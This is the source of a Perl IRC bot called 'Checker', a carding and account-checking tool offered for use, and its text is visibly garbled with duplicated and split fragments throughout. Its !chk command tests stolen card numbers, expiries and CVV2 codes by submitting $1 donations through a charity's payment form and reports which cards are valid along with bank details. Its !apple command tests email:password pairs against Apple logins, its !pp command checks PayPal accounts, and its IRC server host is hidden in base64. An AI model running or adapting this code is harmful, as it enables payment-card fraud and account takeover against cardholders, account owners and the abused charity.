Checker

#! "C:\Perl64\lib\perl.exe "C:\Perl64\lib\perl.exe" " #SQL SCAN Bot Check By Lunaa!

#########Call to standalone modules directory########### BEGIN{push(@INC,'Modules');}

################Modules ################Module s Inclusion############# Inclusion####################### ########## use HTTP::Request; use LWP::Socket; use LWP::UserAgent; use LWP::Protocol::https; use HTTP::Cookies; use MIME::Base64; use Parallel::ForkManager; use MIME::Base64 (); use WWW::Mechanize; use WWW::Mechanize::FormFi WWW::Mechanize::FormFiller; ller; use Net::FTP; use WWW::Scripter; use WWW::Selenium; $| = 1;

#############Defines global variable/array######## variable/array############# ##### my($irc_socket,$server,$port,$ident,$nick,$tim my($irc_socket,$server ,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_p eout,$rfi_test_cmd,$rfi_print_cmd, rint_cmd, $parallel_fork); my(@chans,@admins,@user_agents);

####################################################### my $ppcmd my $ipcmd

= '!pp'; = '!ip';

my $chkcmd my $bankcmd my $seccmd my $statecmd my $zipcmd

= '!chk'; = '!bank'; = '!sec'; = '!state'; = '!zip';

################Configurations ################Config urations Variable############### Variable################ # my $outcri = "Mg=="; $systemcri = MIME::Base64::decode($out MIME::Base64::decode($outcri); cri); $timeout

= $systemcri;

my $hostcri = "ODcuMjM2LjE5NC42OQ=="; $systemcri = MIME::Base64::decode($hos MIME::Base64::decode($hostcri); tcri); $hosting $port

= "irc.server"; = 6667;

my $nkpro = "[walled]-[bot]"; $ident

= "walled";

$parallel_fork = 15; my @botcmd = ('1'); @chans = ("#walled"); my $proo = "czRsMXR5"; $systempro = MIME::Base64::decode($pro MIME::Base64::decode($proo); o); my $cheataer = "czRsMXR5"; $sistempro = MIME::Base64::decode($che MIME::Base64::decode($cheataer); ataer); @s4l1ty = ($systempro,$sistempro); @admin = ('walled'); @user_agents = &get_user_agents();

################Irc Socket Connection############# Connection################ ### my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7"; $sysircuno = MIME::Base64::decode($sta MIME::Base64::decode($startirc); rtirc); $irc_socket = new LWP::Socket;

$irc_socket->connect($hosting,$port); $irc_socket->write("USER $irc_socket->write("US ER ".$ident." 8 * :  09,01 09,01 walled walled Checker \r\n"); \r\n"); $irc_socket->write("NICK $irc_socket->write("NI CK ".$nkpro."\r\n"); $irc_socket->write("NICKSERV $irc_socket->write("NI CKSERV IDENTIFY 12s34oxl\r\n"); $irc_socket->write("JOIN $irc_socket->write("JO IN $chans[2]\r\n"); $irc_socket->write("JOIN $irc_socket->write("JO IN $chans[3]\r\n"); $irc_socket->write("JOIN $irc_socket->write("JO IN $chans[4]\r\n"); $irc_socket->write("JOIN $irc_socket->write("JO IN $chans[5]\r\n");

while($irc_socket) { my $bof; $irc_socket->read_until("\n", $irc_socket->read_unti l("\n", \$bof); if($bof =~ /PING :(.*)/) { $irc_socket->write("PONG $irc_socket->write("PO NG :$1\r\n"); }

if($bof =~ /PRIVMSG (.*?) :(.*)/) { #PRIVMSG my %msg = &get_msg($bof); #############################@@@@======BOT ###################### #######@@@@======BOT COMMANDS STARTED FROM HERE=====@@@@## ############ #############################CONTACT ###################### #######CONTACT ME : [email protected]###### [email protected]#################### ############## ############ ####################################################################### ############################################## ################################## ######### ##### if($msg{'what'} =~ /\!ip (.*)/) { my ($iploca) = ($1); chop($iploca); &respond_to_privmsg(\%msg," 14,1( 14,1( 15: 15: 9: 9: 15: 15: 0 Checking...  15 15 15: 15: 9: 9: 15: 15:  14) 14)  0 ::: ::: $ip loca :::");

print "inizio mechanize\n"; my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('http://www.ip2location.com/'.$iploca.''); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; print $agent->content,"\n"; my $ipwork=$agent->content $ipwork=$agent->content; ; if ($ipwork =~/(.*?)<\/span>/){ id=\"dgLookup__ctl2_lblICountry\">(.*?)<\/span>/){ &respond_to_privmsg(\%msg," 14,1( 14,1( 15: 15: 9: 9: 15: 15: 0 Country  15 15 15: 15: 9: 9: 15: 15:  14) 14) $1"); } if ($ipwork =~/(.*?)<\/span>/){ id=\"dgLookup__ctl2_lblIRegion\">(.*?)<\/span>/){ &respond_to_privmsg(\%msg," 14,1( 14,1( 15: 15: 9: 9: 15: 15: 0 Region  15 15 15: 15: 9: 9: 15: 15:  14) 14) $1"); } if ($ipwork =~/(.*?)<\/span>/){ id=\"dgLookup__ctl2_lblICity\">(.*?)<\/span>/){ &respond_to_privmsg(\%msg," 14,1( 14,1( 15: 15: 9: 9: 15: 15: 0 City  15 15 15: 15: 9: 9: 15: 15:  14) 14) $1"); } if ($ipwork =~/(.*?)<\/span>/){ id=\"dgLookup__ctl2_lblITimeZone\">(.*?)<\/span>/){ &respond_to_privmsg(\%msg," 14,1( 14,1( 15: 15: 9: 9: 15: 15: 0 Time  15 15 15: 15: 9: 9: 15: 15:  14) 14) $1"); } if ($ipwork =~/(.*?)<\/span>/){ id=\"dgLookup__ctl2_lblINetSpeed\">(.*?)<\/span>/){ &respond_to_privmsg(\%msg," 14,1( 14,1( 15: 15: 9: 9: 15: 15: 0 Speed  15 15 15: 15: 9: 9: 15: 15:  14) 14) $1"); } if ($ipwork =~/(.*?)<\/span>/){ id=\"dgLookup__ctl2_lblIISP\">(.*?)<\/span>/){ &respond_to_privmsg(\%msg," 14,1( 14,1( 15: 15: 9: 9: 15: 15: 0 IPS  15 15 15: 15: 9: 9: 15: 15:  14) 14) $1"); } if ($ipwork =~/(.*?)<\/span>/){ id=\"dgLookup__ctl2_lblIDomain\">(.*?)<\/span>/){ &respond_to_privmsg(\%msg," 14,1( 14,1( 15: 15: 9: 9: 15: 15: 0 Domain  15 15 15: 15: 9: 9: 15: 15:  14) 14) $1"); } } if($msg{'what'} =~ /\!zipcode\s(\d{5})/) { my ($zipcheck) = ($1); &respond_to_privmsg(\%msg," 14,1( 14,1( 15: 15: 9: 9: 15: 15: 0 Checking Zipcode  15 15 15: 15: 9: 9: 15: 15:  14) 14)  0 :: :: : $zipcheck ::: please wait..."); print "inizio mechanize\n"; my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('http://zip4.usps.com/zip4/citytown_zip.jsp'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; { local $^W; $agent->current_form->value('zip5', ''.$zipcheck.''); ''.$zipcheck.''); }; $agent->submit(); print $agent->content,"\n"; my $zipse=$agent->content; if ($zipse =~/headers=\"pre\">(.*?)<\/b><\/td>/){ $luogo = $1; &respond_to_privmsg(\%msg," 14,1( 14,1( 15: 15: 9: 9: 15: 15: 0 Checking Zipcode  15 15 15: 15: 9: 9: 15: 15:  14) 14)  0 :: :: :  $luogo $luogo ::: "); } elsif ($zipse =~/The ZIP Code you entered could not be found in our database/){ &respond_to_privmsg(\%msg," 14,1( 14,1( 15: 15: 9: 9: 15: 15: 0 Checking Zipcode  15 15 15: 15: 9: 9: 15: 15:  14) 14)  0 :: :: :  $zipcheck $zipcheck Not found! ::: "); } } if($msg{'what'} =~ /^!zip\s(\d{5})/)

{ my ($zipcheck) = ($1); &respond_to_privmsg(\%msg," 14,1[ 14,1[  15Zip 15Zip 14 14 ] 0,1 0,1 Checking... 08 08 $zipcheck "); #print "\n"; my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('http://www.zipinfo.com/cgi-local/ $agent->get('http://ww w.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac= zipsrch.exe?cnty=cnty&ac=ac&zip=') ac&zip=') ; $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; { local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); ''.$zipcheck.''); }; $agent->submit(); #print $agent->content,"\n"; my $zipse=$agent->content; if ($zipse =~/(.*)<\/font><\/td>(.*)<\/font><\ align=center>(.*)<\/font><\ /td>(.*)<\/font><\/td>(.*)<\/font><\/td>(.*)<\/font><\/td>(.*)<\/font ><\/td>(.*)<\/f align=center>(.*)<\/font>/g){ ont>/g){ my ($city) = ($1); my ($state) = ($2); &respond_to_privmsg(\%msg," 14,1[ 14,1[  15Zip 15Zip 14 14 ] 3 $city | $state"); } elsif ($zipse =~/is not currently assigned by the US Postal Service to any city. /){ &respond_to_privmsg(\%msg," 14,1[ 14,1[  15Zip 15Zip 14 14 ] 8 $zipcheck 04 04 NOT FOUND!"); } } ############################################## ###################### ################################################# ################################## ######### ############ if($msg{'what'} =~ /\!cmd/){ &respond_to_privmsg(\%msg," 14,01-= 14,01-=  08 08 BOt Commands 1 4 =- 00"); 00"); &respond_to_priv msg(\%msg," 07,01info: 07,01info:  04Suported 04Suported  14,01[ 14,01[ 00,02 00,02  VISA VISA   14,01] 14,01] 01,01 01,01  14,01[ 14,01[ 0,4 0,4  Master Master  0,7 0,7 Card   14,01 14,01 1,01  14,1[ 14,1[ 01,00 01,00  Disc Disc 07O 07O ver ver 01,00 01,00  14,01] 14,01] 01,01 01,01  14,01[ 14,01[ 00,10 00,10  American American Express   14,01]"); 14,01]"); &respond_to_priv msg(\%msg," 07,01!chk 07,01!chk 03,1....... 03,1....... 7,1: 7,1:  4,1< 4,1< 8,1ccnumber 8,1ccnumber 4,1> 4,1>  4,1< 4,1< 8,1expdate 8,1expdate 4,1> 4,1>  4,1< 4,1< 8,1cvv2 8,1cvv2 4,1> 4,1>  15 15 to check cvv2"); &respond_to_priv msg(\%msg," 07,01!ip 07,01!ip 03,1........ 03,1........ 7,1: 7,1:  4,1< 4,1< 8,1ip 8,1ip address 4,1> 4,1>  15to 15to get info about an IP"); &respond_to_priv msg(\%msg," 07,01!zip 07,01!zip 03,1....... 03,1....... 7,1: 7,1:  4,1< 4,1< 8,1zip 8,1zip code 4,1> 4,1>  1 15to 5to get city and state by zip" );

} #############################@@@@======something=====@@@@############## #############################@@@@======somethi ng=====@@@@####################### ######### ########

if($msg{'what'} =~ /^!help/){ &respond_to_privmsg(\%msg," 07,01Type 07,01Type  09!cmd 09!cmd 07 07 to ge t command list");

} ####################################################################### ############################################## ################################## ######### ############ if($msg{'what'} =~ /\!chk 1/){ &respond_to_privmsg(\%msg," 9,1[ 9,1[ 4,1! 4,1! 9,1] 9,1]  15,1Informat 15,1Informat ion  0,1: 0,1:  14,1Checker 14,1Checker  0,1is 0,1is  9,1ON! 9,1ON!  9,1[ 9,1[ 4,1! 4,1! 9,1]"); 9,1]");

} if($msg{'what'} =~ /\!chk status/){ &respond_to_privmsg(\%msg," 9,1[ 9,1[ 4,1! 4,1! 9,1] 9,1]  15,1Informat 15,1Informat ion  0,1: 0,1:  14,1Checker 14,1Checker  0,1is 0,1is  9,1ON! 9,1ON!  9,1[ 9,1[ 4,1! 4,1! 9,1]"); 9,1]");

} #############################@@@@======BASIC CHKBOT MACHINE=====@@@@####### #############################@@@@======BASIC MACHINE=====@@@@############ ##### ############ #############################CONTACT ME : [email protected]###### #############################CONTACT [email protected]#################### ############## ############ ####################################################################### ############################################## ################################## ######### ############ if($msg{'what'} =~ /^$chkcmd\s(\b[5436][0/^$chkcmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s( 9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b \b[0-9]{3,4}\b )/) { my ($numerocarta,$expmes,$verifica) = ($1,$2,$3); my $var1 = substr($expmes,0,2); my $var2 = substr($expmes,2,4); my $varType = 0; print "\n"; my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('https://jajf.org/donate/donate-form.cfm'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->form_number(1);

{ local $^W; $agent->current_form->v $agent->current_form->value('firstname', alue('firstname', 'mark'); }; { local $^W; $agent->current_form->v $agent->current_form->value('lastname', alue('lastname', 'smith'); }; { local $^W; $agent->current_form->value('emailaddress', $agent->current_form->value('emailaddress', 'movistarsrl@hotm ail.com'); }; { local $^W; $agent->current_form->value('confirmemail', $agent->current_form->value('confirmemail', 'movistarsrl@hotm ail.com'); }; { local $^W; $agent->current_form->v $agent->current_form->value('addressline1', alue('addressline1', 'las heras 32'); }; { local $^W; $agent->current_form->v $agent->current_form->value('addressline2', alue('addressline2', 'las heras 32'); }; { local $^W; $agent->current_form->v $agent->current_form->value('city', alue('city', 'NY'); }; { local $^W; $agent->current_form->value('stateabbreviation', $agent->current_form->value('stateabbreviation', 'AL'); }; { local $^W; $agent->current_form->v $agent->current_form->value('zipCode', alue('zipCode', '05544'); }; { local $^W; $agent->current_form->value('contactPhone', $agent->current_form->value('contactPhone', '1569841055'); }; { local $^W; $agent->current_form->value('message', $agent->current_form->value('message', 'charity'); }; { local $^W; $agent->current_form->value('donationAmount', $agent->current_form->value('donationAmount', '1'); }; { local $^W; $agent->current_form->v $agent->current_form->value('cardName', alue('cardName', 'mark smith'); }; { local $^W; $agent->current_form->value('cardType', $agent->current_form->value('cardType', 'visa~Visa'); }; { local $^W; $agent->current_form->value('cardNumber', $agent->current_form->value('cardNumber', ''.$numerocarta.'') ; }; { local $^W; $agent->current_form->value('cardExpiration', $agent->current_form->value('cardExpiration', ''.$var1.$var2. ''); }; { local $^W; $agent->current_form->value('cardAuthCode', $agent->current_form->value('cardAuthCode', ''.$verifica.''); }; $agent->submit(); print $agent->content,"\n"; my $allo=$agent->content; open(FILE,">>chk13.html") open(FILE,">>chk13.html ") or die "$!"; print FILE "$allo\n"; close FILE; my $allo=$agent->content; #~ if ($allo =~/THANK YOU/){ if ($allo =~/The transaction has been declined because of an AVS mismatch. T he address provided does not match billing address of cardholder./){ my $database = "banklist.txt "; open FILE,"$database" or die "Errore nell'apertura: $!"; my @results=; close FILE; my $bankinfo = $1; &respond_to_privmsg(\%msg,"« 2» $numerocart a $expmes $expanio $verifica   0,9VALID! 0,9VALID!  CVV2: M  4( 4( Aceptado Aceptado 4)"); 4)"); my $nuova = substr($numerocarta,0, substr($numerocarta,0,6); 6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ &respond_to_privmsg(\%msg,"« 2» [ 6Banco 6Banco  ] 2$nuova 2$nuova 7$1");  7$1"); print "card $variable!"; } } }elsif ($allo =~/This transaction has been declined./){ #~ }elsif ($allo =~/This transaction has been declined./){ my $database = "banklist.txt "; open FILE,"$database" or die "Errore nell'apertura: $!"; my @results=; close FILE;

my $bankinfo = $1; &respond_to_privmsg(\%msg,"« 2» $numerocarta $expmes $expanio $verifica   4DECLINED 4DECLINED  CVV2: M  4( 4( Rechazado Rechazado 4)"); 4)"); my $nuova = substr($numerocarta,0, substr($numerocarta,0,6); 6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ my $bankinfo = $1; &respond_to_privmsg(\%msg,"« 2» [ 6Banco 6Banco  ] 2$nuova 2$nuova 7$1");  7$1"); print "card $variable!"; } } }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg,"« 4» [Result] $numerocarta $expmes $expanio $verifica   4INVAL 4INVAL ID!  CVV2: M  4( 4( INVALID INVALID 4)"); 4)"); }elsif ($allo =~/The card code is invalid./){ &respond_to_privmsg(\%msg,"« 4»[RESULT] »[RESULT]  14$numerocarta 14$numerocarta $expmes$expanio $verifica  14) 14)  9 CARD ,  4 ERROR CVV...!  9By 9By TheClanz!"); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg,"« 4»[RESULT] »[RESULT]  14$numerocarta 14$numerocarta  4 $expmes$expanio  14$verifica) 14$verifica) 15 15 The credit card has expired.  9By 9By TheClanz!"); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg,"« 4»[RESULT] »[RESULT]  14$expmes$expanio 14$expmes$expanio  14) 14) 15 15 Not is Valid.  9By 9By TheCla nz!"); }elsif ($allo =~//){ &respond_to_privmsg(\%msg,"« 4»[RESULT] »[RESULT]  14$numerocarta 14$numerocarta  14) 14) 15 15 A duplicate transaction ha s been submitted.  9By 9By TheClanz!"); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"« 4»[RESULT] »[RESULT]  14$numerocarta 14$numerocarta $expmes$expanio $verifica  14) 14)  4F 4F UCK YOU NO RECHECK ..."); }elsif ($allo =~/The credit card number entered is not valid./){ &respond_to_privmsg(\%msg,"« 4»[RESULT] »[RESULT]  14$numerocarta 14$numerocarta  14) 14) 15 15 Credit Card is  4INVALID 4INVALID  9By 9By TheClanz!"); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"« 4» [RESULT] $numerocarta $expmes $expanio $verifica   4DECLI 4DECLI NED!"); }elsif ($allo =~/Thanks to your important gift/){ &respond_to_privmsg(\%msg,"« 4»[RESULT] »[RESULT]  14$numerocarta 14$numerocarta $expmes$expanio $verifica  14) 14)  9V 9V ALID SUUU! NO AVS MISMATCH!"); } }

####################################################################### ############################################## ################################## ######### ##### #############################@@@@======Logins Checkers=====@@@@######## #############################@@@@======Logins Checkers=====@@@@################# ######### ############ ####################################################################### ############################################## ################################## ######### ######## ####################################################################### ############################################## ################################## ######### ######## if($msg{'what'} =~ /\:(.*?):(.*?)\@(.*?):/ /\:(.*?):(.*?)\@(.*?):/) ) { my ($inutil,$emailchk,$domaincheck) = ($1,$2,$3);

chop($emailchk); &respond_to_privmsg(\%msg,"!pp &respond_to_privmsg(\% msg,"!pp $emailchk@$domaincheck") $emailchk@$domaincheck"); ; } if($msg{'what'} =~ /\!pp (.*)/) { my ($ppchek) = ($1); chop($ppchek); &respond_to_privmsg(\%msg," 15[ 15[ 7CHECKiNGPAYPAL 7CHECKiNGPAYPAL 15] 15]  CHECKiNG... -$ppchek"); print "inizio mechanize\n"; my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('https://www.paypal.com/us/verifie $agent->get('https://w ww.paypal.com/us/verified/pal='.$ppchek.''); d/pal='.$ppchek.''); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->form_number(3); { local $^W; $agent->current_form->value('login_email', $agent->current_form->value('login_email', '[email protected]'); }; { local $^W; $agent->current_form->value('login_password', $agent->current_form->value('login_password', '12s34oxl'); }; $agent->submit(); $agent->follow_link('n' => 7); print $agent->content,"\n"; my $internal=$agent->conte $internal=$agent->content; nt; &respond_to_privmsg(\%msg,"Email &respond_to_privmsg(\% msg,"Email - ${ppchek} - "); if ($internal =~/is NOT PayPal Verified/){ &respond_to_privmsg(\%msg,"PaypaL &respond_to_privmsg(\% msg,"PaypaL - is -  04UnVerified 04UnVerified "); } if ($internal =~/(.*?)<\/td>/){ &respond_to_privmsg(\%msg,"Checking &respond_to_privmsg(\% msg,"Checking $1 - "); } } ############################################## ###################### ################################################# ################################## ######### ######## if($msg{'what'} =~ /^!apple\s+(.*?)\s+(.* /^!apple\s+(.*?)\s+(.*)/){ )/){ my ($email,$pass) = ($1,$2); chop($email,$pass); &respond_to_privmsg(\%msg," 14,1[ 14,1[ 15Apple...... 15Apple...... 14] 14] 15,1 15,1 Checking  08,1 08,1 $email:$pass"); my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFil WWW::Mechanize::FormFiller->new(); ler->new(); $agent->env_proxy(); $agent->get("https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/lo $agent->get("https://daw.apple.com/cgi-bin/WebOb jects/DSAuthWeb.woa/wa/login?a gin?a ppIdKey=49bd208126787c17c33ca3b14d2a4f0c92daa1 ppIdKey=49bd208126787c 17c33ca3b14d2a4f0c92daa10c417c4d686140e4acc04ba5f 0c417c4d686140e4acc04ba5f4&path=/L 4&path=/L ogin.do%3FmyInfoReturnURL%3Dhttps%253A%252F%25 ogin.do%3FmyInfoReturn URL%3Dhttps%253A%252F%252Fselfsolve.apple.com%252 2Fselfsolve.apple.com%252FGetAgree FGetAgree ments.do&myInfoReturnURL=https%253A%252F%252Fs ments.do&myInfoReturnU RL=https%253A%252F%252Fselfsolve.apple.com%252FGe elfsolve.apple.com%252FGetAgreemen tAgreemen ts.do&language=IT-IT"); $agent->form_number(2);

$agent->current_form->value('theAccountName', $agent->current_form->va lue('theAccountName', ''.$email.''); $agent->current_form->value('theAccountPW', $agent->current_form->va lue('theAccountPW', ''.$pass.''); $agent->submit(); $agent->reload(); print $agent->content,"\n"; my $internal = $agent->content; my $allo=$agent->content; open(FILE3,">>Apple.html") open(FILE3,">>Apple.htm l") or die "$!"; print FILE3 "$allo\n"; close FILE3; sleep(2); if($internal =~/Did you forget/) { &respond_to_privmsg(\%msg," 14,1[ 14,1[ 15Apple...... 15Apple...... 14] 14] 8,1 8,1 $email:$pass  4 Wrong Wrong Login  "); } elsif($internal =~/blocked/) { &respond_to_privmsg(\%msg," 14,1[ 14,1[ 15Apple...... 15Apple...... 14] 14] 8,1 8,1 $email:$pass  4,1(Account 4,1(Account Locked )"); }

elsif($internal =~ //) {

my $name = $1; my $surname = $2; &respond_to_privmsg(\%msg," 14,1[ 14,1[ 15Apple...... 15Apple...... 14] 14] 8,1 8,1 $email:$pass  9,1Successfully 9,1Successfully Log ged in"); } }

#############################@@@@======INTERFACE #############################@@@@======INTERFA CE COMMANDS=====@@@@##### COMMANDS=====@@@@############## ######### ################# if($msg{'what'} =~ /\!hop (.*)/) { if(&ctrl_admin(\%msg) == 0){

$irc_socket->write("PART $irc_socket->write("PA RT ".$1." ".$2."\n"); $irc_socket->write("JOIN $irc_socket->write("JO IN ".$1." ".$2."\r\n"); } } ####################################################################### ############################################## ################################## ######### ###### if($msg{'what'} =~ /\!join (.*)/) { my $joinz= $1; if(&ctrl_admin(\%msg) == 0){ $irc_socket->write("JOIN $irc_socket->write("JO IN ".$joinz."\r\n"); } } if($msg{'what'} =~ /\!hop (.*)/) { if(&ctrl_admin(\%msg) == 0){ $irc_socket->write("PART $irc_socket->write("PA RT ".$1." ".$2."\n"); $irc_socket->write("JOIN $irc_socket->write("JO IN ".$1." ".$2."\r\n"); } } ####################################################################### ############################################## ################################## ######### ###### ############################################## ###################### ################################################# ################################## ######### ###### if($msg{'what'} =~ /\!part (.*)/) { my $parted = $1; if(&ctrl_admin(\%msg) == 0){ $irc_socket->write("part $irc_socket->write("pa rt ".$parted."\r\n"); } } ####################################################################### ############################################## ################################## ######### ####

####################################################################### ############################################## ################################## ######### ##### if($msg{'what'} =~ /\!out(.*)/) { my $qmsg = $1; if(&ctrl_admin(\%msg) == 0){ $irc_socket->write("quit $irc_socket->write("qu it ".$qmsg."\r\n");

} }

####################################################################### ############################################## ################################## ######### ###### ####################################################################### ############################################## ################################## ######### ###### if($msg{'what'} =~ /\!rax (.*)/) { my $raw = $1; if(&ctrl_admin(\%msg) == 0){ &respond_to_privmsg(\%msg," 15,1[ 15,1[ 4RAW 4RAW 15] 15] 12 12 SENDING IR C RAW REQUESTED"); $irc_socket->write($raw."\r\n"); } } ############################################## ###################### ################################################# ################################## ######### ##### sub ctrl_admin() { my $data = $_[0]; foreach my $admin ( khaledpro ) { if($admin eq $data->{'from'})

{ return(0); } } &respond_to_privmsg($data," 15[ 15[ 4BLOCK 4BLOCK 15] 15] 1 YOU ARE NOT ADMIN"); return(-1); } ############################################## ###################### ################################################# ################################## ######### ##### sub ctrl_dumps() { my $data = $_[0]; foreach my $admin ( khaledpro ) { if($admin eq $data->{'from'}) { return(0); } } &respond_to_privmsg($data," 15,01[ 15,01[ 4BLOCK 4BLOCK 15,01] 15,01] 0 You are  04 04 NOT NOT 0,01 0,01 Allowed to use this function.!"); return(-1); } ####################################################################### ############################################## ################################## ######### ##### sub respond_to_privmsg() { my ($data,$m) = ($_[0],$_[1]); if($data->{'to'} =~ /#/) { &privmsg($data->{'to'},$m); }

return(0); } ####################################################################### ############################################## ################################## ######### ##### sub privmsg() { my($nick,$send) = @_; $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n"); } ####################################################################### ############################################## ################################## ######### ##### sub get_msg() { my $line = $_[0]; my %data; if($line =~ /:(.*?)!(.*?) PRIVMSG(.*?) :(.*)/) { $irc_socket->write("PRIVMSG $irc_socket->write("PRI VMSG #log :$1 $3 msg=>> $4 \r\n"); $data{'from'} = $1; $data{'to'}

= $3;

$data{'what'} = $4; } return(%data); } ####################################################################### ############################################## ################################## ######### #####

sub http_request() { my($site,$request,$ua,$resp,$cnt); $site

=

$_[0];

$site

=~ s/[\r\n]//g;

$request = $ua agents))]);

=

HTTP::Request->new(GET => $site); LWP::UserAgent->new(agent LWP::UserAgent->new(ag ent => $user_agents[rand(scal $user_agents[rand(scalar(@user_  ar(@user_ 

$ua->timeout($timeout); $resp

=

$ua->request($request); $ua->request($request) ;

$cnt

=

$resp->content();

return($cnt); } ############################################## ###################### ################################################# ################################## ######### ##### sub get_user_agents() { my @us_ag = ( "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1", "Opera/8.5 (X11; Linux i686; U; cs)", "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)" ); return(@us_ag); } ####################################################################### ############################################## ################################## ######### ##### sub get_all_host() { my $site =

$_[0];

my @dirs =

();

my @ret

=

();

my $tmp

=

"";

$site

=~ s/http:\/\///g;

$site

=~ s/[\r\n]//g;

$site

=~ s/\/\///g;

if($site !~ /\/$/) { $site .= "/"; }

@dirs = split(/\//,$site); $tmp = $dirs[0] . "/"; push(@ret,$tmp);

for($i = 1; $i < scalar(@dirs); $i++) { $tmp .= $dirs[$i] . "/"; push(@ret,$tmp); }

return(@ret); } ####################################################################### ############################################## ################################## ######### ##### sub urlencode() { my $str = $_[0]; $str =~ s/([^A-Za-z0-9])/sprintf s/([^A-Za-z0-9])/sprintf("%%%02X", ("%%%02X", ord($1))/seg; return $str; } ####################################################################### ############################################## ################################## ######### ##### sub unique() { my @unici = ();

my %visti = (); foreach my $elemento (@_) { $elemento =~ s/\/+/\//g; next if $visti{$elemento}++; push @unici, $elemento; } return @unici; } ####################################################################### ############################################## ################################## ######### ##### sub changecmd() { my $n = $_[0]; push(@botcmd,$n); } ####################################################################### ############################################## ################################## ######### ##### sub get_content() { my $url = $_[0]; my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(10); my $req = HTTP::Request->new(GET => $url); my $res = $ua->request($req); return $res->content; } ############################################## ###################### ################################################# ################################## ######### ##### sub read_all_file_array() { my $file = $_[0]; my @ret

= ();

open(FILE,'<',$file); while($a = ) { $a =~ s/[\r\n]//g; push(@ret,$a); } close(FILE);

return(@ret); } ####################################################################### ############################################## ################################## ######### ##### sub write_to_file_array() { my ($file,$data,$scal) = @_; for($i = 0; $i < $scal; $i++) { &AddLog($file,$data->[$i]); } } } }